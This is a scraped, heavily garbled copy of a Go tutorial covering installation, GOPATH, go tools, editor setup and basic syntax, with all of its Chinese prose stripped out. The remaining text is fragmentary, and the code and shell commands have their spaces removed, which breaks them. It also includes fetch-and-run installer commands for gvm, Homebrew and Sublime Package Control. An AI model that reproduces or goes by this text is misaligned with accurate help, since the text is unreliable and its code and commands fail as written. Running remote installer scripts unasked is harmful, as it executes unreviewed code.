430
1.Go 1.1. Go 1.2. GOPATH 1.3. Go 1.4. Go 1.5. 2.Go 2.1. Go 2.2. Go 2.3. 2.4. struct 2.5. 2.6. interface 2.7. 2.8. 3.Web 3.1 web 3.2 Goweb 3.3 Goweb 3.4 Gohttp 3.5 4. 4.1 4.2 4.3 4.4 4.5 4.6 5. 5.1 database/sql 5.2 MySQL 5.3 SQLite

1.1. Go - erguotou · 1.1 Go Go Go GoUnix GoGoWindowsLinuxMacnext Ubuntuapt-getwgetMachomebrew Go GVM Go Go 1.5CRuntimeCompilerLinkerGo,, Go 1.5,GoPlan 9 CAT&TC MacXcode UnixgccUbuntu

  • Upload
    others

  • View
    37

  • Download
    0

Embed Size (px)

Citation preview

1.Go1.1.Go1.2.GOPATH1.3.Go1.4.Go1.5.

2.Go2.1.Go2.2.Go2.3.2.4.struct2.5.2.6.interface2.7.2.8.

3.Web3.1web3.2Goweb3.3Goweb3.4Gohttp3.5

4.4.14.24.34.44.54.6

5.5.1database/sql5.2MySQL5.3SQLite

5.4PostgreSQL5.5BeegoormORM5.6NOSQL5.7

6.session6.1sessioncookie6.2Gosession6.3session6.4session6.5

7.7.1XML7.2JSON7.37.47.57.67.7

8.Web8.1Socket8.2WebSocket8.3REST8.4RPC8.5

9.9.1CSRF9.29.3XSS9.4SQL9.59.69.7

10.10.110.210.310.4

11.11.111.2GDB11.3Go11.4

12.12.112.212.312.412.5

13.Web13.113.213.3controller13.413.513.6

14.Web14.114.2Session14.314.414.514.6pprof14.7

A

1GOGo

Go

GoGoCincludeGoGoGo

GoGo

Go

links

: Go

1.1 Go

Go

Go

GoUnixGoGoWindowsLinuxMacnextUbuntuapt-getwgetMachomebrew

Go GVM

Go

Go1.5CRuntimeCompilerLinkerGo,,

Go1.5,GoPlan9CAT&TC

MacXcode

UnixgccUbuntu sudoapt-getinstallgcclibc6-dev

WindowsMinGWMinGWgcc

goVERSION.src.tar.gz $HOME

cdgo/src./all.bash

all.bash"ALLTESTSPASSED"

UnixWindows all.batMinGWgcc

MacUnix .bashrc.zshrc

exportGOPATH=$HOME/gopathexportPATH=$PATH:$HOME/go/bin:$GOPATH/bin

bash.bashrcbash.zshrc

windowpathgogopath

go

1.1Go

GoUsageGoPATHGo

go1.8GOPATHUnix$HOME/go,Windows%USERPROFILE%/go

GOPATH

Go

Go/usr/local/go(Windowsc:\Go)

exportGOROOT=$HOME/goexportGOPATH=$HOME/gopathexportPATH=$PATH:$GOROOT/bin:$GOPATH/bin

MacUnix.bashrc.zshrcwindows

32 64

Go

WindowsWin+Rcmd systeminfo“”“x64-basedPC”64“X86-basedPC”32

Mac64GoMacOSX32

LinuxTerminalarch( uname-m)

64

x86_64

32

i386

Mac

32go1.4.2.darwin-386-osx10.8.pkg(32)64go1.8.darwin-amd64.pkggoPATH ~/go/bin, go

goUsagegoPATHgo

Linux

32go1.8.linux-386.tar.gz64go1.8.linux-amd64.tar.gz

Go $GO_INSTALL_DIR

tar.gz tarzxvfgo1.8.linux-amd64.tar.gz-C$GO_INSTALL_DIR

PATH exportPATH=$PATH:$GO_INSTALL_DIR/go/bin

go

1.2Linuxgo

goUsagegoPATHgo

Windows

Golang32windows-386msi64windows-amd64C:\Go\GoPathGobin C:\Go\bin\GOROOTGo C:\Go\

cmd goUsage cd%GOROOT%Go

PathGOROOT

GVM

gvmGorubyrvmgvm

bash<<(curl-s-S-Lhttps://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)

go

gvminstallgo1.8gvmusego1.8

gvmuse gvmusego1.8--default

GOPATHGOROOT

apt-get

UbuntuLinux apt-getGo gitmercurial

sudoapt-getinstallpython-software-propertiessudoadd-apt-repositoryppa:gophers/gosudoapt-getupdatesudoapt-getinstallgolang-stablegit-coremercurial

wget

wgethttps://storage.googleapis.com/golang/go1.8.linux-amd64.tar.gzsudotar-xzfgo1.8.linux-amd64.tar.gz-C/usr/local

:

exportGOROOT=/usr/local/goexportGOBIN=$GOROOT/binexportPATH=$PATH:$GOBINexportGOPATH=$HOME/gopath()

:

sudovim/etc/profile

exportGOROOT=/usr/local/goexportGOBIN=$GOROOT/binexportPATH=$PATH:$GOBINexportGOPATH=$HOME/gopath()

homebrew

homebrewMacGoGo gitmercurial

1.homebrew

/usr/bin/ruby-e"$(curl-fsSLhttps://raw.githubusercontent.co

m/Homebrew/install/master/install)"

2.go

brewupdate&&brewupgradebrewinstallgobrewinstallgitbrewinstallmercurial//

links

: Go: GOPATH

1.2GOPATHGoGOPATHGo1.11.7GoGoGosrcbinpkg

go1.8GOPATHUnix$HOME/go,Windows%USERPROFILE%/go

GOPATH

go$GOPATH

Windows %GOPATH%UnixWindows

GoGOPATH

Unix

exportGOPATH=/home/apple/mygo

.bashrc .zshrc sh

WindowsGOPATH

GOPATH=c:\mygo

GOPATHWindowsLinuxGOPATHgoget

$GOPATH

src.go.c.h.spkg.abin$PATHgopath ${GOPATH//://bin:}/binbin

mygogopath

GOPATHsrc:$GOPATH/src/mymathmymathpackagemainmainpackage

srcsrc$GOPATH/src/github.com/astaxie/beedb"github.com/astaxie/beedb"beedb

mymath

cd$GOPATH/srcmkdirmymath

sqrt.go

//$GOPATH/src/mymath/sqrt.gopackagemymath

funcSqrt(xfloat64)float64{z:=0.0fori:=0;i<1000;i++{z-=(z*z-x)/(2*x)}returnz}

package

1 goinstall

2 goinstallmymath

cd$GOPATH/pkg/${GOOS}_${GOARCH}//mymath.a

.a

mathapp

cd$GOPATH/srcmkdirmathappcdmathappvimmain.go

$GOPATH/src/mathapp/main.go

packagemain

import("mymath""fmt")

funcmain(){fmt.Printf("Hello,world.Sqrt(2)=%v\n",mymath.Sqrt(2))}

packagemainimportmymath,$GOPATH/srcimportGOPATHGo$GOPATH/src

gobuildmathapp

./mathapp

Hello,world.Sqrt(2)=1.414213562373095

goinstall,$GOPATH/bin/mathapp,$GOPATH/binPATH

mathapp

Hello,world.Sqrt(2)=1.414213562373095

go gogetgoget(githubgooglecodebitbucketLaunchpad)

gogetgithub.com/astaxie/beedb

goget-ugoget

githubgitgooglecodehg

$GOPATHsrc|--github.com|-astaxie|-beedbpkg|--|-github.com|--astaxie|beedb.a

gogetclonesrc goinstall

import

import"github.com/astaxie/beedb"

mygo

bin/mathapppkg//darwin_amd64linux_amd64mymath.agithub.com/astaxie/beedb.asrc/mathappmain.gomymath/sqrt.gogithub.com/astaxie/beedb/beedb.goutil.go

binpkgsrc

links

: Go: GO

1.3Go

Go

Go go

1.3Go

gobuild

1.2 mymath gobuild $GOPATH/pkg goinstall

main gobuild $GOPATH/bin goinstallgobuild-o/a.exe

gobuild gobuilda.gogobuildgo

1.2 mathapp gobuild-oastaxie.exepackage(main)(main)

package Go“package”

gobuild“_”“.”go

array_linux.goarray_darwin.goarray_windows.goarray_freebsd.go

gobuildLinuxDarwinWindowsFreebsdLinuxarray_linux.go

-o gobuild-oa/b/c

-i+ goinstall

-a-n-pnCPU-race64-v-work-x -n

-ccflags'arglist'5c,6c,8c-compilernamegccgogc-gccgoflags'arglist'gccgo-gcflags'arglist'5g,6g,8g-installsuffixsuffix -race-installsuffixrace,-n-ldflags'flaglist'5l,6l,8l-tags'taglist'tagtag BuildConstraints

goclean

_obj/objectMakefiles_test/testMakefiles_testmain.gogotestMakefilestest.outtestMakefilesbuild.outtestMakefiles*.[568ao]objectMakefiles

DIR(.exe)gobuildDIR.test(.exe)gotest-cMAINFILE(.exe)gobuildMAINFILE.go*.soSWIG

github

$goclean-i-ncd/Users/astaxie/develop/gopath/src/mathapprm-fmathappmathapp.exemathapp.testmathapp.test.exeappapp.exerm-f/Users/astaxie/develop/gopath/bin/mathapp

-igoinstall-n-rimport-x -n

gofmt

C/C++,K&RANSIgoANSIgogo<>.go gofmt gofmt

gofmtgofmt-wgofmt-w-lsrc

gofmtgofmt gofmt

gofmt

-l-w-r“a[b:len(a)]->a[b:]”-s-ddifffalse-e10-cpuprofilecpufile

goget

BitBucketGitHubGoogleCodeLaunchpad

BitBucket(MercurialGit)GitHub(Git)GoogleCodeProjectHosting(Git,Mercurial,Subversion)Launchpad(Bazaar)

gogetPATH goget gohelpremote

-d-f-u -uimportfork-fixfix-t-u-v

goinstall

(.a) $GOPATH/pkg$GOPATH/bin

gobuild -v

gotest

*_test.go

okarchive/tar0.011sFAILarchive/zip0.022sokcompress/gzip0.033s...

test gohelptestflag

-benchregexpbenchmarks -bench=.

-cover-runregexpregexp -run=ArrayArray-v

gotool

gotoolfixvet

gotoolfix.go1go1,APIgotoolvetdirectory|files,fmt.Printfreturn

gogenerate

Go1.4 gogenerategobuild gogenerate

yacc

gotoolyacc-ogopher.go-pparsergopher.y

-o-ppackage gogenerate xxx.go

//go:generategotoolyacc-ogopher.go-pparsergopher.y

//go:generate

gopher.y gogenerate

$gogenerate$gobuild$gotest

godoc

Go1.2godocgodoc gogetgolang.org/x/tools/cmd/godoc

gochm chm

package builtin godocbuiltinhttp godocnet/httpPrintf godoc-srcfmtPrintf

godoc-http=: godoc-http=:8080127.0.0.1:8080golang.orgcopypkgGOPATHpkg GOPATH

go

goversion gogoenv gogolistpackagegorunGo

gohelp

links

: GOPATH: Go

1.4Gofmt

LiteIDE

LiteIDEGoIDEvisualfc

1.4LiteIDE

LiteIDE

WindowsLinuxMacOSX

GoGoGo

GoGOPATHGOPATH

GOPATHApiGo

Gocode()GoApiF1

F2

Gdbgofmt

Kate

Markdown

CSSHTMLPDF/HTML/PDF

LiteIDE

LiteIDE

http://sourceforge.net/projects/liteide/files

https://github.com/visualfc/liteide

GoLiteIDE

LiteIDE

Windows64Go win64 LiteIDEwin64.env

GOROOT=c:\goGOBIN=GOARCH=amd64GOOS=windowsCGO_ENABLED=1

PATH=%GOBIN%;%GOROOT%\bin;%PATH%

GOROOT=c:\goGoMinGW64 c:\MinGW64\binPATHgogccCGO

Linux64Go linux64 LiteIDElinux64.env

GOROOT=$HOME/goGOBIN=GOARCH=amd64GOOS=linuxCGO_ENABLED=1

PATH=$GOBIN:$GOROOT/bin:$PATH

GOROOT=$HOME/goGo

GOPATH

GoGOPATHGo(LiteIDE Ctrl+,) gohelpgopath

LiteIDEGOPATH GOPATHGOPATH GOPATH

SublimeText

SublimeText3Sublime+GoSublime+gocode

,

1.5sublime

Go

1.6sublime

SublimeText3

Sublime

SublimeSublime SublimeTextsublimetext3

1. PackageControlCtrl+`

SublimeText3

importurllib.request,os;pf='PackageControl.sublime-package';ipp=sublime.installed_packages_path();urllib.request.install_opener(urllib.request.build_opener(urllib.request.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib.request.urlopen('http://sublime.wbond.net/'+pf.replace('','%20')).read())

SublimeText2

importurllib2,os;pf='PackageControl.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnotos.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace('','%20')).read());print('PleaserestartSublimeTexttofinishinstallation')

SublimePackageControl

1 .7sublime

1. SublimeGoSublimeSidebarEnhancementsGoBuildSublimeCtrl+Shift+pPackageControll pcip“PackageControl:InstallPackage”

1.8sublime

GoSublimeSidebarEnhancementsGoBuild

2. gocode

goget-ugithub.com/nsf/gocode

gocode$GOBIN

gotests():

sublimegotests,:

```Gogoget-u-vgithub.com/cweill/gotests/...

```

1. Sublimemain.go import import"fmt" fmt.

$PATHgocode $PATH(XP),sublime,sublimetext3convertutf8

2. MacOS$GOROOT,$GOPATH,$GOBIN

sublimecommand+9env$PATH,GOROOT,$GOPATH,$GOBIN

Terminalsublime

ln-s/Applications/Sublime\Text\2.app/Contents/SharedSupport/bin/subl/usr/local/bin/sublime

VisualStudioCode

vscodeElectronweb,: https://github.com/Microsoft/vscode

1VisualStudioCode

https://code.visualstudio.com/VisualStudioCode

2Go

ExtensionsGoGoVisualStudioCode

FileAutosave

vscodeGo.vscode/settings.json

-settings.json:

{"go.buildOnSave":true,"go.lintOnSave":true,

"go.vetOnSave":true,"go.buildFlags":[],"go.lintFlags":[],"go.vetFlags":[],"go.coverOnSave":false,"go.useCodeSnippetsOnFunctionSuggest":false,"go.formatOnSave":true,//goimports"go.formatTool":"goreturns","go.goroot":"",//Goroot"go.gopath":"",//Gopath}

(,Github Golang):

goget-u-vgithub.com/nsf/gocodegoget-u-vgithub.com/rogpeppe/godefgoget-u-vgithub.com/zmb3/gogetdocgoget-u-vgithub.com/golang/lint/golintgoget-u-vgithub.com/lukehoban/go-outlinegoget-u-vsourcegraph.com/sqs/goreturnsgoget-u-vgolang.org/x/tools/cmd/gorenamegoget-u-vgithub.com/tpng/gopkgsgoget-u-vgithub.com/newhook/go-symbolsgoget-u-vgolang.org/x/tools/cmd/gurugoget-u-vgithub.com/cweill/gotests/...

vscode, delveGo

goget-v-ugithub.com/peterh/linergithub.com/derekparker/delve/cmd/dlv

brewinstallgo-delve/delve/delve(mac)

:

goget-v-ugithub.com/peterh/linergithub.com/derekparker/delve/cmd/dlv

:"dlv-cert",""->""->"":

-,launch.json:

{"version":"0.2.0","configurations":[{"name":"main.go","type":"go","request":"launch","mode":"debug","remotePath":"","port":2345,"host":"127.0.0.1","program":"${workspaceRoot}",//"env":{},"args":[],"showLog":true}]}

Atom

AtomGithubElectronweb,

Atom: https://atom.io/

go-plus:

go-plusAtom go

go:

1.autocomplete-gogocode2.gofmtgoftm,goimports,goturns3.builder-go:go-installgo-test,4.gometalinet-linter:goline,vet,gotype5.navigator-godef:godef6.tester-goo:gotest7.gorename:rename

AtomPreferenceinstall,go-plus,(install)

go-plusgo-plusgo:goget

Gogland

GoglandJetBrainsGoIdeaGoGoglandIntelliJJetBrains

: https://www.jetbrains.com/go/

Vim

Vimvi,

vim-govimgo

github.com/fatih/vim-go

vimPathogenVundle pathogenvundle

1.Vundle

mkdir~/.vim/bundlegitclonehttps://github.com/gmarik/Vundle.vim.git~/.vim/bundle/Vundle.vim

.vimrcVundle( Vundle)

setnocompatible"beiMproved,requiredfiletypeoff"required

"settheruntimepathtoincludeVundleandinitializesetrtp+=~/.vim/bundle/Vundle.vimcallvundle#begin()

"letVundlemanageVundle,requiredPlugin'gmarik/Vundle.vim'

"AllofyourPluginsmustbeaddedbeforethefollowinglinecallvundle#end()"requiredfiletypepluginindenton"required

2.Vim-go

~/.vimrcvundle#beginvundle#end

Plugin'fatih/vim-go'

Vim:PluginInstall

3.YCM(YourCompleteMe)~/.vimrc

Plugin'Valloric/YouCompleteMe'

Vim:PluginInstall

1.9VIMGo

vim:

1. vim

cp-r$GOROOT/misc/vim/*~/.vim/

2. ~/.vimrc

filetypepluginindentonsyntaxon

3. Gocode

goget-ugithub.com/nsf/gocode

gocode$GOPATH/bin

4. Gocode

~cd$GOPATH/src/github.com/nsf/gocode/vim~./update.bash~gocodesetpropose-builtinstruepropose-builtinstrue~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"

gocodeset

propose-builtinsGofalse

lib-path:gocode $GOPATH/pkg/$GOOS_$GOARCH$GOROOT/pkg/$GOOS_$GOARCHlib

1. :emain.goGo

VIM,

Emacs

Emacs

1.10EmacsGo

1. Emacs

cp$GOROOT/misc/emacs/*~/.emacs.d/

2. Gocode

goget-ugithub.com/nsf/gocode

gocode $GOBIN

3. Gocode

~cd$GOPATH/src/github.com/nsf/gocode/emacs~cpgo-autocomplete.el~/.emacs.d/~gocodesetpropose-builtinstruepropose-builtinstrue

~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"//

lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"

1. AutoCompletion

AutoComplete

~makeinstallDIR=$HOME/.emacs.d/auto-complete

~/.emacs

;;auto-complete(require'auto-complete-config)(add-to-list'ac-dictionary-directories"~/.emacs.d/auto-complete/ac-dict")(ac-config-default)(local-set-key(kbd"M-/")'semantic-complete-analyze-inline)(local-set-key"."'semantic-complete-self-insert)(local-set-key">"'semantic-complete-self-insert)

: http://www.emacswiki.org/emacs/AutoComplete

2. .emacs

;;golangmode(require'go-mode-load)(require'go-autocomplete);;speedbar;;(speedbar1)(speedbar-add-supported-extension".go")(add-hook'go-mode-hook'(lambda();;gocode(auto-complete-mode1)(setqac-sources'(ac-source-go))

;;Imenu&Speedbar(setqimenu-generic-expression'(("type""^type*\\([^\t\n\r\f]*\\)"1)("func""^func*\\(.*\\){"1)))(imenu-add-to-menubar"Index");;Outlinemode(make-local-variable'outline-regexp)(setqoutline-regexp"//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....")(outline-minor-mode1)(local-set-key"\M-a"'outline-previous-visible-heading)(local-set-key"\M-e"'outline-next-visible-heading);;Menubar(require'easymenu)(defconstgo-hooked-menu'("Gotools"["Gorunbuffer"got]["Goreformatbuffer"go-fmt-buffert]["Gocheckbuffer"go-fix-buffert]))(easy-menu-definego-added-menu(current-local-map)"Gotools"go-hooked-menu)

;;Other(setqshow-trailing-whitespacet)));;helperfunction(defungo()"runcurrentbuffer"(interactive)(compile(concat"gorun"(buffer-file-name))))

;;helperfunction(defungo-fmt-buffer()"rungofmtoncurrentbuffer"(interactive)(ifbuffer-read-only(progn(ding)(message"Bufferisreadonly"))(let((p(line-number-at-pos))(filename(buffer-file-name))(old-max-mini-window-heightmax-mini-window-height))(show-all)

(if(get-buffer"*GoReformatErrors*")(progn(delete-windows-on"*GoReformatErrors*")(kill-buffer"*GoReformatErrors*")))(setqmax-mini-window-height1)(if(=0(shell-command-on-region(point-min)(point-max)"gofmt""*GoReformatOutput*"nil"*GoReformatErrors*"t))(progn(erase-buffer)(insert-buffer-substring"*GoReformatOutput*")(goto-char(point-min))(forward-line(1-p)))(with-current-buffer"*GoReformatErrors*"(progn(goto-char(point-min))(while(re-search-forward"<standardinput>"nilt)(replace-matchfilename))(goto-char(point-min))(compilation-mode))))(setqmax-mini-window-heightold-max-mini-window-height)(delete-windows-on"*GoReformatOutput*")(kill-buffer"*GoReformatOutput*"))));;helperfunction(defungo-fix-buffer()"rungofixoncurrentbuffer"(interactive)(show-all)(shell-command-on-region(point-min)(point-max)"gotoolfix-diff"))

3. Gospeedbar;;(speedbar1) M-xspeedbar

Eclipse

EclipseEclipseGo

1.11EclipseGo

1. Eclipse

2. goclipse

http://code.google.com/p/goclipse/wiki/InstallationInstructions

3. gocodego

gocodegithub

https://github.com/nsf/gocode

windowsgit msysgit

cmd

goget-ugithub.com/nsf/gocode

gobuildgocode.exe

4. MinGW

5.

Windows->Reference->Go

(1).Go

1.12Go

(2).GocodeGocodegocode.exe

1.13gocode

(3).GDBGDBMingWgdb.exe

1.14GDB

1.

gohello.go

1.15

console

1.16Go

IntelliJIDEA

Javaideaideago,

1. ideaideawin,mac,linuxGo

2. GoFileSettingPlugins,,Broswerrepo

3. Golang,,downloadandinstallgolangDownloaded,OK

Apply.IDE

4. ,golang

,gosdk,C:\Golinuxmac,

links

: Go:

1.5GoGo $GOPATH$GOPATHGoGoGoGoLiteIDESublimeVSCodeAtomGoglangVIMEmacsEclipseIdeaGo

links

: Go: Go

2GoGoC

breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar

GoGo

links

:: Go

2.1 GoGo

helloworld

Let'sGo!

packagemain

import"fmt"

funcmain(){fmt.Printf("Hello,worldor�����orκαλημρακóσμor��������\n")}

Hello,worldor orκαλημρακóσμor

Go package

package<pkgName> packagemain main main *.a$GOPATH/pkg/$GOOS_$GOARCHMac $GOPATH/pkg/darwin_amd64

Go packagemainmainmain

Hello,world...Printffmt fmt import"fmt"

Pythonpackage)

funcmain {}CC++Java

main0

fmtPrintf <pkgName>.<funcName>Python

<pkgName>package<pkgName>

ASCIIGoUTF-8UTF-8

GopackagePython main.main()(GoUTF-8(UTF-8Go)

links

: Go: Go

2.2GoGoGo

Go

varGoCGo

//“variableName”"type"varvariableNametype

//“ type”varvname1,vname2,vname3type

//“variableName”“ value”“ type”varvariableNametype=value

/* "type",vname1v1vname2v2vname3v3*/varvname1,vname2,vname3type=v1,v2,v3

Go

/*vname1v1vname2v2vname3v3Go*/varvname1,vname2,vname3=v1,v2,v3

/*vname1v1vname2v2vname3v3*/vname1,vname2,vname3:=v1,v2,v3

:=vartype, var

_ 35b34

_,b:=34,35

Go i

packagemain

funcmain(){variint}

Go

constconstantName=value//constPifloat32=3.1415926

constPi=3.1415926consti=10000constMaxThread=10constprefix="astaxie_"

Go(200)float3232bitfloat6464bit

Boolean

Go booltruefalsefalse

//varisActivebool//varenabled,disabled=true,false//functest(){varavailablebool//valid:=false//available=true//}

Go intuintGo rune,int8,int16,int32,int64byte,uint8,uint16,uint32,uint64runeint32 byteuint8

invalidoperation:a+b(mismatchedtypesint8andint32)

varaint8

varbint32

c:=a+b

int32bit,intint32

float32float64 float float64

NoGo complex12864+64 complex64(32+32) RE+IMiREIM i

varccomplex64=5+5i//output:(5+5i)fmt.Printf("Valueis:%v",c)

Go UTF-8 "" string

//varfrenchHellostring//varemptyStringstring=""//functest(){no,yes,maybe:="no","yes","maybe"//japaneseHello:="Konichiwa"//frenchHello="Bonjour"//}

Gocannotassigntos[0]

varsstring="hello"s[0]='c'

s:="hello"c:=[]byte(s)//s[]bytec[0]='c's2:=string(c)//stringfmt.Printf("%s\n",s2)

Go+

s:="hello,"m:="world"a:=s+mfmt.Printf("%s\n",a)

s:="hello"s="c"+s[1:]//fmt.Printf("%s\n",s)

m:=`helloworld`

Raw

helloworld

GoerrorGo packageerrors

err:=errors.New("emitmachodwarf:elfheadercorrupted")iferr!=nil{fmt.Print(err)}

import"fmt"import"os"

consti=100constpi=3.1415constprefix="Go_"

variintvarpifloat32varprefixstring

import("fmt""os")

const(i=100pi=3.1415prefix="Go_")

var(iintpifloat32prefixstring)

iota

Goiotaenum0const1

packagemain

import("fmt")

const(x=iota//x==0y=iota//y==1z=iota//z==2w//w=iotaw==3yz"=iota"

)

constv=iota//constiotav==0

const(h,i,j=iota,iota,iota//h=0,i=0,j=0iota)

const(a=iota//a=0b="B"c=iota//c=2d,e,f=iota,iota,iota//d=3,e=3,f=3g=iota//g=4)

funcmain(){fmt.Println(a,b,c,d,e,f,g,h,i,j,x,y,z,w,v)}

iotaconst0 iotaiota

Go

Go

classpublic private

array slice map

array

array

vararr[n]type

[n]type n type []

vararr[10]int//intarr[0]=42//0arr[1]=13//fmt.Printf("Thefirstelementis%d\n",arr[0])//42fmt.Printf("Thelastelementis%d\n",arr[9])//0

[3]int[4]int slice

:=

a:=[3]int{1,2,3}//3int

b:=[10]int{1,2,3}//10int1230

c:=[...]int{4,5,6}//`...`Go

Go

//4int

doubleArray:=[2][4]int{[4]int{1,2,3,4},[4]int{5,6,7,8}}

//easyArray:=[2][4]int{{1,2,3,4},{5,6,7,8}}

2.2

slice

“”Go slice

slice slicearrayslicearray

//arrayvarfslice[]int

slice

slice:=[]byte{'a','b','c','d'}

sliceslice slicearray[i:j] i j array[j]j-i

//10bytevarar=[10]byte{'a','b','c','d','e','f','g','h','i','j'}

//byteslicevara,b[]byte

//a3a=ar[2:5]//a:ar[2]ar[3]ar[4]

//barsliceb=ar[3:5]//bar[3]ar[4]

slice ... slice

2.3slicearray

slice

slice0 ar[:n]ar[0:n]

slice ar[n:]ar[n:len(ar)]

slicear[:]0 ar[0:len(ar)]

slice

//vararray=[10]byte{'a','b','c','d','e','f','g','h','i','j'}//slicevaraSlice,bSlice[]byte

//aSlice=array[:3]//aSlice=array[0:3]aSlice:a,b,caSlice=array[5:]//aSlice=array[5:10]aSlice:f,g,h,i,j

aSlice=array[:]//aSlice=array[0:10]aSlice

//slicesliceaSlice=array[3:7]//aSlice:d,e,f,glen=4cap=7bSlice=aSlice[1:3]//bSliceaSlice[1],aSlice[2]:e,f

bSlice=aSlice[:3]//bSliceaSlice[0],aSlice[1],aSlice[2]:d,e,fbSlice=aSlice[0:5]//sliceslicecapbSliced,e,f,g,h

bSlice=aSlice[:]//bSliceaSlice:d,e,f,g

slice aSlicebSliceaSlice bSlice

slice

slice

slice

slice

Array_a:=[10]byte{'a','b','c','d','e','f','g','h','i','j'}Slice_a:=Array_a[2:5]

2.4slice

slice

len slice

cap slice

appendslice sliceslice

copy copyslicesrcdst

appendslice sliceslice (cap-len)==0 slice slice

Go1.2slicesliceslicearrayslice

vararray[10]intslice:=array[2:4]

slice8

slice=array[2:4:7]

7-25slice

slicearray[:i:j]0

map

mapPython map[keyType]valueType

mapslice key sliceindexint map intstring==!=

//keyint,makevarnumbersmap[string]int//mapnumbers:=make(map[string]int)numbers["one"]=1//numbers["ten"]=10//numbers["three"]=3

fmt.Println(":" ,numbers["three"])////::3

map key

map

map map index key

map slice

lenmapmapkey

map numbers["one"]=11keyone11mapthread-safego-routinemutexlock

mapkey:val mapkey

deletemap

//rating:=map[string]float32{"C":5,"Go":4.5,"Python":4.5,"C++":2}//mapkeyokfalseoktruecsharpRating,ok:=rating["C#"]ifok{fmt.Println("C#isinthemapanditsratingis",csharpRating)}else{fmt.Println("WehavenoratingassociatedwithC#inthemap")}

delete(rating,"C")//keyC

map map

m:=make(map[string]string)m["Hello"]="Bonjour"m1:=mm1["Hello"]="Salut"//m["hello"]Salut

make new

makemapslicechannel new

new new(T)T *TGo T

new

make(T,args)new(T)make slicemapchannel() T *Tslice array slicenilslicemapchannel make

make

newmake

2.5makenew

“”“”0“”

int0int80int320int640uint0x0rune0//runeint32byte0x0//byteuint8float320//4bytefloat640//8byteboolfalsestring""

links

: ,Go:

2.3Go

Go

if

if

Goif

ifx>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthan10")}

Goif

//x,x10ifx:=computedValue();x>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthan10")}

//xfmt.Println(x)

ifinteger==3{fmt.Println("Theintegerisequalto3")}elseifinteger<3{fmt.Println("Theintegerislessthan3")}else{fmt.Println("Theintegerisgreaterthan3")}

goto

Gogoto—— goto

funcmyFunc(){i:=0Here://println(i)i++gotoHere//Here}

for

Gofor while

forexpression1;expression2;expression3{//...}

expression1expression2expression3 expression1expression3expression2 expression1 expression3

packagemain

import"fmt"

funcmain(){sum:=0;forindex:=0;index<10;index++{sum+=index}fmt.Println("sumisequalto",sum)}//sumisequalto45

Go , i,j=i+1,j-1

expression1expression3

sum:=1for;sum<1000;{sum+=sum}

; while

sum:=1forsum<1000{sum+=sum}

breakcontinue,break continue break

forindex:=10;index>0;index--{ifindex==5{break// continue}fmt.Println(index)}//break 109876//continue 1098764321

breakcontinue

forrangeslicemap

fork,v:=rangemap{

fmt.Println("map'skey:",k)fmt.Println("map'sval:",v)}

Go“”,“”,,, _

for_,v:=rangemap{fmt.Println("map'sval:",v)}

switch

if-else switch

switchsExpr{caseexpr1:someinstructionscaseexpr2:someotherinstructionscaseexpr3:someotherinstructionsdefault:othercode}

sExprexpr1expr2expr3Go switch switch true

i:=10switchi{case1:fmt.Println("iisequalto1")case2,3,4:fmt.Println("iisequalto2,3or4")case10:fmt.Println("iisequalto10")

default:fmt.Println("AllIknowisthatiisaninteger")}

5 caseGo switchcasebreakcase switch,fallthroughcase

integer:=6switchinteger{case4:fmt.Println("Theintegerwas<=4")fallthroughcase5:fmt.Println("Theintegerwas<=5")fallthroughcase6:fmt.Println("Theintegerwas<=6")fallthroughcase7:fmt.Println("Theintegerwas<=7")fallthroughcase8:fmt.Println("Theintegerwas<=8")fallthroughdefault:fmt.Println("defaultcase")}

Theintegerwas<=6Theintegerwas<=7Theintegerwas<=8defaultcase

Go func

funcfuncName(input1type1,input2type2)(output1type1,output2type2){////returnvalue1,value2}

funcfuncName

,

output1output2

return

Max

packagemain

import"fmt"

//ab.funcmax(a,bint)int{ifa>b{returna}returnb}

funcmain(){x:=3y:=4z:=5

max_xy:=max(x,y)//max(x,y)max_xz:=max(x,z)//max(x,z)

fmt.Printf("max(%d,%d)=%d\n",x,y,max_xy)fmt.Printf("max(%d,%d)=%d\n",x,z,max_xz)fmt.Printf("max(%d,%d)=%d\n",y,z,max(y,z))//

}

max inta,bint,aint,bint)2

GoC

packagemain

import"fmt"

//A+BA*BfuncSumAndProduct(A,Bint)(int,int){returnA+B,A*B}

funcmain(){x:=3y:=4

xPLUSy,xTIMESy:=SumAndProduct(x,y)

fmt.Printf("%d+%d=%d\n",x,y,xPLUSy)fmt.Printf("%d*%d=%d\n",x,y,xTIMESy)}

()

funcSumAndProduct(A,Bint)(addint,Multipliedint){add=A+BMultiplied=A*Breturn}

Go

funcmyfunc(arg...int){}

arg...intGo int argintslice

for_,n:=rangearg{fmt.Printf("Andthenumberis:%d\n",n)}

copycopy

packagemain

import"fmt"

//+1funcadd1(aint)int{a=a+1//areturna//

}

funcmain(){x:=3

fmt.Println("x=",x)//"x=3"

x1:=add1(x)//add1(x)

fmt.Println("x+1=",x1)//"x+1=4"fmt.Println("x=",x)//"x=3"}

add1 add1a=a+1 x

add1 add1xcopy x

x,

add1x x x&x int*int xcopycopy

packagemain

import"fmt"

//+1funcadd1(a*int)int{//*a=*a+1//areturn*a//}

funcmain(){x:=3

fmt.Println("x=",x)//"x=3"

x1:=add1(&x)//add1(&x)x

fmt.Println("x+1=",x1)//"x+1=4"fmt.Println("x=",x)//"x=4"}

x

(8bytes),,copyGochannelslicemap slice

defer

Godeferdeferdefer

funcReadWrite()bool{file.Open("file")//iffailureX{file.Close()returnfalse}

iffailureY{file.Close()returnfalse}

file.Close()returntrue}

Go defer defer

